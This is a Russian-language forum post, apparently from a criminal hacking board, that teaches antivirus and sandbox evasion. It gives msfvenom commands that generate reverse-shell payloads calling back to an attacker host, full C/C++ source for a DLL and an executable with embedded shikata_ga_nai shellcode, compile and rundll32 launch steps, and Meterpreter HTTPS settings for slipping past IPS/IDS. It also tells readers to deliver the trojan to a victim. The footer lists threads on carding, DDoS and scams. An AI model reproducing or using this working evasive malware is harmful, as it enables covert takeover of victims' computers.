#Обучение Способы обхода антивирусов.

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

Приветствую всех!

Как упоминается в статьях CIA Wikileaks, антивирусное программное обеспечение можно обойти, приложив некоторые усилия. И, несмотря на то, что эта статья предназначена в первую очередь для пентестеров, она также покажет, какими способами можно обойти антивирусные программы и ограничения.

Здесь представлены некоторые идеи о том, как работают xak пентестеры. Будут рассмотрены некоторые основы, которые используются для обхода антивирусного программного обеспечения, но, как вы сами понимаете, этим данный список не ограничен...

Иногда при тестировании на проникновение можно столкнуться с ситуацией, когда антивирусное программное обеспечение всегда обнаруживает ваши полезные нагрузки. В этих случаях вам нужен хороший способ обхода антивирусов. Описанные ниже методы довольно общи, но работают практически со всеми антивирусами.

Поскольку основная полезная нагрузка выполняется с помощью msfvenom, можно утверждать, что полезная нагрузка(метод) должна "палиться" AV.

Кстати, метод обхода антивирусов также уклоняется от песочницы. Уклонение так же просто, как попытка открыть какой-либо файл, который обязательно существует при каждой установке-использовании. Например. "C: \ windows \ system.ini" - обычный, но важный ini-файл. Если этого не существует, мы находимся в среде песочницы, созданной антивирусным программным обеспечением, поэтому мы просто ничего не делаем. Когда осуществляется переход в нормальную среду, файл найден, тогда полезная нагрузка выполняется. Отправив файл на Virustotal.com, мы получим вероятность обнаружения 1/59 - всего одно антивирусное ядро обнаружило "подставу".

Кстати, напоминание новичкам и забывчивым (я добавляю от себя лично):

Отправляя файлы на Virustotal.com, вы сами "палите" методы обхода, способы упаковки и шифрования, ведь антивирусные компании получают файл в качестве образца. И он будет немедленно внесен в базы (и способ его получения).

Есть еще онлайн-сканеры. К примеру, я вот вытащил из обсуждений на форуме:


Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.




Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.





Используемое программное обеспечение:

  • Metasploit (msfvenom, multi/handler)
  • MinGW
  • Notepad


Ограничения
Нужно отметить, что Windows Defender и, возможно, большинство антивирусных программ станут "сигналить" о том, что "какая-то программа пытается подключиться к Интернету". Конечно, в ситуации тестирования на проникновение это может быть показательно по причине грубого написания кода эксплойта, который - напоминаю - нужен нам исключительно для тестирования на проникновение. Тем не менее, если вам удастся получить оболочку, изменив .dll какого-либо программного обеспечения и(или) обманув пользователя для запуска исполняемого файла, вы можете легко получить управление атакуемым ПК. Здесь можно перенести шеллкод на какой-то уже существующий процесс, который уже имеет доступ к Интернету, использовать существующие программы для запуска вредоносного кода, чтобы обойти ограничения на whitelisting. Способов избежать ограничений - множество.

Конечно, в сети атакуемых могут быть некоторые системы межсетевых экранов /IPS /IDS, но их также можно пробовать обойти, например - используя SSL-кодированное соединение обратно к жертве. Но этот вопрос выходит за рамки данной статьи и гораздо серьезнее, чтобы быть рассмотренным в открытой ветке.



Настройка полезной нагрузки
Полезная нагрузка генерируется с помощью msfvenom, который является частью пакета Metasploit. С msfvenom можно создавать исполняемые файлы и dll-файлы прямо по ходу организации атаки, но, поскольку мы пытаемся уклониться от антивируса, то мы создаем полезную нагрузку в формате вывода C-стиля с помощью следующей команды:

Код:
msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c

DLL Method
Одним из способов обхода антивирусного программного обеспечения может быть создание вредоносного *.dll-файла и подмена некоторых существующих .dll на него несколькими способами.

Как обычно .exe-файлы считаются опасными, они на виду и запоминаются в процессе работы даже простыми пользователями. Но DLL-файлов гораздо больше и простые пользователи обычно не распознают DLL-файлы, как вредоносные. А потому в них куда проще внедрить участок кода.

Для целей тестирования этот фрагмент кода - это очень грубый .dll-файл, который можно запустить из командной строки и который не имеет каких-либо других функций.

Код:
#include
#include
#ifdef EXPORTING_DLL
  extern __declspec(dllexport) void Checksandboxing() ;
#else
  extern __declspec(dllimport) void Checksandboxing() ;
#endif


extern "C" BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
) {
switch(fdwReason) {
    case DLL_PROCESS_ATTACH:
         CheckSandboxing();
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    default:
        break;
    }
return TRUE;
}

void CheckSandboxing()
{
  /** Test for some existing system file, sandbox evasion **/
  std::ifstream dllfile("c:\\windows\\system.ini", std::ios::binary);
  if (!dllfile)
  {
       MessageBox( NULL, TEXT("Running in sandbox"), TEXT("Sandbox"), MB_OK);   
  }
  else
  {
       MessageBox( NULL, TEXT("Real system, running exploit"), TEXT("Real"), MB_OK);     
      
      
    /** msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c  **/
    unsigned char shellcode[] =
    "\xbd\xf8\x13\x49\xa2\xda\xcf\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
    "\x6f\x83\xc2\x04\x31\x6a\x0f\x03\x6a\xf7\xf1\xbc\x19\x44\xae"
    "\x68\x86\x91\x90\x4c\x42\x01\xd9\x32\x82\x80\x90\xa5\xe5\x4f"
    "\xc7\x36\x5b\x7b\x64\xfd\x67\x22\xc7\x73\x73\xbb\xf3\x22\x3e"
    "\x09\x29\x81\x17\x8d\xb9\x87\x1f\xd4\x8c\x23\xc9\x65\x07\xc9"
    "\xc0\xd9\x46\x6d\xe3\xff\x34\x31\x74\xa7\x67\xec\x23\xb4\x53"
    "\x83\x31\xbe\x71\xda\x48\x30\x28\x16\x1e\xb9\x5e\x50\xa5\xf0"
    "\xe7\x80\x07\x07\x04\x91\xab\xfc\x2b\xd1\x74\xcd\x3d\x11\x7e"
    "\x77\xf5\x4b\xd4\x6a\x9f\x2d\xec\x28\x72\xd6\xa7\x87\x56\x97"
    "\x89\xe1\x2b\x46\x72\x04\x56\x23\xd2\x17\x96\x62\x85\x7c\xd0"
    "\x9e\xe8\x24\x92\x59\x3f\x58\x3e\xf4\x66\xf0\xdf\x56\xf0\xf0"
    "\x72\x96\x21\xae\xb7\x9c\x26\x33\x7d\x11\xec\x14\x44\x0c\xb9"
    "\x0d\x50\xca\xb6\xf6\xb3\xab\xd7\x93\x6d\xfb\xe9\x20\x6b\x0f"
    "\xf4\xda\x61\xb3\xed\x40\xf9\xea\xcc\xba\xd4\x92\xbe\x15\x11"
    "\xe4\xba\x22\xdc\x43\xb7\x15\xeb\x5d\x45\x79\x41\xa5\x25\xe7"
    "\x8e\xa2\x8e\x97\x7d\xae\xf4\x1e\x50\x22\x4c\xb7\xfc\x08\x21"
    "\xed\xb4\x1d\xde\xff\x1a\x7a\x37\x98\xa3\xcd\x47\xfa\x10\x1a"
    "\xff\x57\x52\x6c\xff\x39\x92\xe6\x53\x05\x67\xd9\xcf\x51\x01"
    "\x4f\x0c\x18\x66\x81\x4a\x02\x2d\x79\xe5\x0c\x80\xe3\xe4\xce"
    "\x61\x18\xc2\x9c\xc8\xe5\xda\x31\xad\x2b\x63\xe3\xae\xf2\x81"
    "\xd0\x0d\x26\xd9\xe5\x64\x73\x8a\x70\x71\x2f\x88\x4c\x72\xba"
    "\xef\xd5\x26\x39\x2c\x42\xe6\xd9\x93\xb7\x69\xd9\x49\xcd\x72"
    "\x10\x52\x1e\x76\x11\xb5\xa9\x6c\xc7\x45\xcc\xa9\xf0\x83\x75"
    "\xa7\x85\xcb\x34\x0a\x50\x1d\xf5\xe5\x6c\xbc\x88\xda\xe1\x0f"
    "\xa9\xe8\xe8\xf0\xc4\x1e\x83\xa1\xdf\xad\xaa\x9f\x1d\xa7\x82"
    "\x71\x6c\xbd\x8b\x02\x6d\x54\xf7\x42\xae\x68\x24\x9f\xf8\x73"
    "\xb9\x8a\x67\xa6\xef\x32\xdf\x21\xf2\x9a\xea\x10\xc6\x19\xcf"
    "\x11\x55\x61\xfc\xfe\xf1\x51\x49\xbc\x04\x9f\xe0\x9a\x09\x4e"
    "\x19\x2f\xb1\x20\x76\xac\x90\x3d\x48\x2b\x24\x23\xa6\xa1\x2e"
    "\x85\x35\xf7\x47\x8f\x49\xa3\xa0\x7a\x65\x22\x17\x5d\x72\x31"
    "\xb3\x2e\x38\xdf\xe7\xea\x83\xdd\xdf\xdd\x9c\xdb\x5a\x46\x4d"
    "\xd3\xa0\x31";
  


    LPVOID lpAlloc = NULL;
    void (*shellfunc)();

    /** Allocate memory for shellcode (read,write,execute) **/
    lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if(lpAlloc == NULL)
    {
        printf("Error allocating memory!\n");
    }
    else
    {
        memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode)+1);
        shellfunc = (void (*)())lpAlloc;
        shellfunc();       
    }
  
    /** Sleep for a bit **/
    Sleep(500);
  }
}
Компиляция .dll выполняется следующим образом с помощью MinGW

Код:
"c:\MinGW\bin\mingw32-g++.exe" -c c:\dll_test\main.cpp
"c:\MinGW\bin\mingw32-g++.exe" -shared -o exploittest.dll main.o -Wl,--out-implib,libexample_dll.a

Теперь .dll можно проверить с помощью антивирусного программного обеспечения, проверяя с Virustotal.com: (напоминаю, что эти действия автора не рекомендуются!)

bd1bfd84871c16999c936.png

Не обнаружено ничего (0/60) антивирусным программным обеспечением. (а вот после проверки - наверняка будет!)

Теперь, чтобы проверить эксплойт в деле, установим multi/handler meterpreter для ожидания соединения.

И запускаем полезную нагрузку из эксплойта с помощью следующей команды в командной строке:

Код:
Rundll32 exploittest.dll,@DllMain

Шеллкод внутри .dll подключается обратно к атакующему, а оболочка теперь создана! Конечно, в реальной ситуации это остановит всю работу, но оболочка - это далеко не единственное, что может быть помещено в DLL-файл.



Исполняемые
Как и с .dll-файлом, проверим уклонение от песочницы, проверяя какой-либо существующий системный файл. Если файл найден, выполнение кода переносится в полезную нагрузку.

Код:
#include
// msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c
char code[] =
"\xdb\xda\xd9\x74\x24\xf4\x5e\x33\xc9\xb8\xcd\x9f\x5f\xe9\xb1"
"\x6f\x31\x46\x18\x83\xee\xfc\x03\x46\xd9\x7d\xaa\x34\x23\x58"
"\x21\xe3\x57\x06\x74\x2d\xf6\x97\x42\x9b\x31\x56\x3a\xed\xb4"
"\x80\x38\xc8\x32\xb0\x4b\xc6\x1e\x22\x25\xdb\xc1\xd8\x32\x06"
"\xc8\x19\x31\x8f\x0f\x09\x7c\xf8\x63\x78\x9d\x37\x00\x37\x86"
"\x02\xf6\x63\xe6\x8b\xfc\xc1\xba\x1a\x88\x74\x60\xed\xc0\xad"
"\x2a\x5b\xf2\xd3\x80\x19\xa9\x0e\x2e\x0c\x88\x36\xcf\xdb\x27"
"\x84\x06\xbf\x25\x91\x64\x09\x1d\xf1\x19\x2f\xd6\xa2\x6d\x6d"
"\x2a\x4e\xeb\xa4\x00\x91\x35\x57\x28\xbd\xd6\x10\x13\xad\x5d"
"\xea\x23\x25\x9d\x14\x11\xc5\x8e\x8e\x46\x7b\x28\xe1\x3b\xf3"
"\xd2\x4e\x39\xf0\x5d\x4a\xce\x64\xa7\x82\xc2\x7f\x72\x34\x96"
"\xb4\xf9\x8d\xfe\x94\x11\x37\x88\xc3\xd7\xcb\xb5\x37\xb3\x1c"
"\xc2\x58\xcc\x08\x37\x35\xea\x67\xff\x97\x01\x92\xf8\x33\x82"
"\x5d\x3e\x48\xff\xe3\x96\x75\x18\x95\xcf\xc4\x07\xe5\xa4\x73"
"\x38\xd4\x21\xe1\xb4\x96\x40\x52\x76\xdf\xe1\x60\x2c\xaf\x5d"
"\xb3\xe4\xff\x89\x6b\x49\x3e\x7e\x2d\x0b\x33\xa0\x54\x8d\x9b"
"\x40\x5b\x2e\xfe\x62\x1f\x48\x21\x69\x6e\x99\x08\xc2\xc2\xc3"
"\x69\x53\x3f\x84\x8e\x79\xdb\xca\xeb\x3f\xcf\xd8\x8c\xf8\x0a"
"\xed\x59\xcb\x6e\x82\xb4\x07\x00\xc3\x13\xed\x2e\x67\xf5\xc8"
"\xfd\x1c\x24\x6a\x95\x3d\x90\x43\x29\xba\x29\xff\x22\x2b\x48"
"\xa7\x7d\xb0\x3d\x56\x71\x30\x95\xdd\x69\x51\x2e\x0f\x3d\x5d"
"\x19\xbd\xfa\x06\xf9\x02\xfd\xed\x08\x27\xb8\x21\x11\xd7\xc4"
"\xd5\xca\xbb\x2a\xd4\xe7\x64\x65\x81\x50\x7b\xbd\xbd\xcb\xc0"
"\x15\x05\xff\x78\xee\x8b\x38\x2b\x28\x52\x56\xb2\x49\xc4\x44"
"\x39\xba\x76\x84\xeb\x0d\xa4\x53\x38\x4e\x77\x05\xc4\xa7\x94"
"\xd4\xe9\xbf\x1d\xb7\xc1\x6f\x5f\xa6\x62\xe4\x91\x48\x3c\xd4"
"\x6e\xce\xf1\x5f\xfd\x6c\x52\x8c\x59\x5c\x71\x63\x30\x81\x2e"
"\x63\x6f\xbc\x43\x0b\xab\x37\xdb\xbf\x48\x22\xda\xdb\x3d\x04"
"\xab\x5b\x6e\xfd\x3e\xfb\xfe\xb8\x4b\xa8\x72\xeb\x71\xbb\x0a"
"\xeb\xb2\x56\xcb\xb9\x14\xcf\x7a\xa5\xc3\x5d\x34\x4f\xfa\x55"
"\x54\x9d\x10\xe5\x26\xbc\x61\x56\xc7\x79\x8d\x64\x7a\x06\x50"
"\x07\xdd\xc6";

int main(int argc, char **argv)
{
  FILE *fp = fopen("c:\\windows\\system.ini", "rb");
  if (fp == NULL)
  return 0;
  fclose(fp);

  printf("Launching...again...");
  int (*func)();
  func = (int (*)()) code;
  return 0;
  (int)(*func)();
  printf("...DONE!");
}
Компиляция выполняется просто путем выпуска:
Код:
c:\MinGW\bin\mingw32-gcc.exe exploittest.c -o exploittest.exe

В этот раз после проверки в онлайн-сканере только Baidu заметил, что это - троян. Интересующиеся могут пометить для себя: а ПОЧЕМУ и вернуться к этому вопросу позднее.

Чтобы проверить это, multi/handler может быть настроен так же, как в DLL-методе чуть выше (обратите внимание, на другую полезную нагрузку) просто выполнив файл.



Злонамеренная полезная нагрузка через системы /IPS /IDS
В случае наличия систем /IPS / IDS перед жертвой эти файлы должны пройти через них, но они будут пойманы. Если фактические файлы будут пойманы, просто создайте защищенный паролем ZIP-файл и получите файлы, к примеру, через HTTP. Итак, что-то вроде windows / meterpreter / reverse_https можно использовать в качестве полезной нагрузки со следующими изменениями параметров:

Код:
EnableStageEncoding true
MeterpreterServerName Nginx
MeterpreterUserAgent Mozilla / 5.0 (Windows NT 6.1) AppleWebKit / 537.36 (KHTML, например, Gecko) Chrome / 41.0.2228.0 Safari / 537.36
StageEncoder (один из ниже)
x86 / fnstenv_mov
x86 / shikata_ga_nai

С этими изменениями можно пытаться пройти через брандмауэры с включенными системами /IPS / IDS.

Ну и если все остальное терпит неудачу, то всегда есть dnscat



ВЫВОД
Поскольку атакуемый получит эксплойт (троян), который не обнаружен антивирусными программами, вы получаете управление атакуемым компьютером. Конечно, Windows Defender и антивирус имеют ограничения на новые подключения, но, к сожалению, эти сообщения игнорируются очень часто. Поскольку антивирус ничего не находит, многие чувствуют себя в безопасности.

Нет и еще раз нет! Основная часть ответственности за безопасность по-прежнему лежит на плечах пользователей, а антивирусам / брандмауэрам /IPS /IDS нельзя доверять, чтобы быть защищенными.
 
  • Like
Реакции: Dmitriy222 и dexteru
Название темы
Автор Заголовок Раздел Ответы Дата
GetLeads Закрыто Обучение: рассылкам\инвайту\регистрации и другому в Telegram. В среднем проф спамеры зарабатывают от 2000$+ Ищу работу. Предлагаю свои услуги. 4
C Закрыто Обучение Кардингу Корзина 1
M Закрыто Обучение Google ADS. Как лить на любые фейки без суспенда. + Продам логи без соседей + гугл разбаны ручной фарм Корзина 2
Uno-uno Интересно Обучение по Enroll Способы заработка 0
D Обучение этичному(белому) хакингу Ищу работу. Предлагаю свои услуги. 0
H Обучение кардингу свежачек Полезные статьи 10
Denik Обучение заработку без доп. вложений быстро и просто (2020)_[слив] Обучения, схемы, мануалы 3
D Обучение DDos Вопросы и интересы 0
B Обучение и сотрудничество (корпоративные сети) Предоставляю работу. Ищу специалиста. 1
P Beverly team Avito | Youla | Boxberry | До 90% | Обучение Новичков Предоставляю работу. Ищу специалиста. 0
M Набор в Swag Team| OLX Scam|Обучение новичков|Высокие %|Рады каждому Предоставляю работу. Ищу специалиста. 1
A Куплю Обучение кардингу,кто обучит? Кардинг предложения 0
B Обучение от PLASTIK за 70 000 руб Раздача dedic/ssh/proxy 0
B Обучение шоплифтингу Полезные статьи 0
B [СЛИВ] Обучение DDOS Spam/DDOS/Malware 12
W Обучение скаму, гарантированный профит Другое 3
T Обучение SQL-инъекциям в видеоуроках Софт для работы с текстом/Другой софт 1
S Обучение SQL-инъекциям Уязвимости и взлом 0
Allen Слив "Обучение вбиву ebay PayPal/CC до 8000$ под рероут, до 200$ в РФ" Другое 1
J Обучение НЛП | Часть 2 Полезные статьи 0
J Обучение СИ часть 2 | Безопастность Полезные статьи 2
J Обучение НЛП от чиполино | Часть 1 Полезные статьи 0
J Обучение СИ от сеоблога | Часть 1 Полезные статьи 0
K Обучение дистанционному видению метод спецслужб - Пичугин (2015) https://cloud.mail.ru/public/5oTq/THdACPR7a Другое 10
K Обучение взлому почты https://yadi.sk/d/u21wmB1ScX5cj Другое 0
G Обучение Рефаунд с Joom Полезные статьи 4
G #Обучение Курсы блогеров. Как стать популярным, реализовать себя и зарабатывать на своих соц сетях. Способы заработка 0
G [Обучение] ОСНОВЫ БЕЗОПАСНОСТИ И АНОНИМНОСТИ В СЕТИ Полезные статьи 0
Traven Обучение пассивному белому заработку . От 70 000 т.р. в месяц. Способы заработка 2
G Обучение oнлaйн зaрaбoтку по ОлимпТрейду Способы заработка 0
G Обучение по киберспорту Полезные статьи 0
S Продам Обучение DDOS'у Все что не подошло по разделу 0
K Обучение Другие ЯП 11
K Обучение Способы заработка 1
N Обучение. Полезные статьи 1
G Обучение ДДОС атакам Spam/DDOS/Malware 38
Denik Интересно Способы заработка Способы заработка 1
Р Интересно Способы получения бесплатного дедика на год Раздача dedic/ssh/proxy 1
× Взлом квадрокоптера || Теория || Способы Уязвимости и взлом 0
L Способы заработка ( бесплатно ) Способы заработка 1
K Способы взлома почты Уязвимости и взлом 1
Admin Способы загрузки шелла/бэкдора на сайт Уязвимости и взлом 0
U Способы заработка на дедиках + способы добычи дедиков. Способы заработка 1
G Способы взлома сайтов Полезные статьи 18
G Способы взлома страниц vk СИ/Фишинг/Мошенничество 96
N Способы взлома Mail.ru Способы заработка 46
RAPAX Способы и советы СИ/Фишинг/Мошенничество 5
S Способы взлома роутеров Полезные статьи 3
Admin Как распространить вирус. Способы бывалых Полезные статьи 0
turbion0 Роскомнадзор будет блокировать VPN-протокол Shadowsocks. Он используется в Китае для обхода блокировок Новости в сети 0

Название темы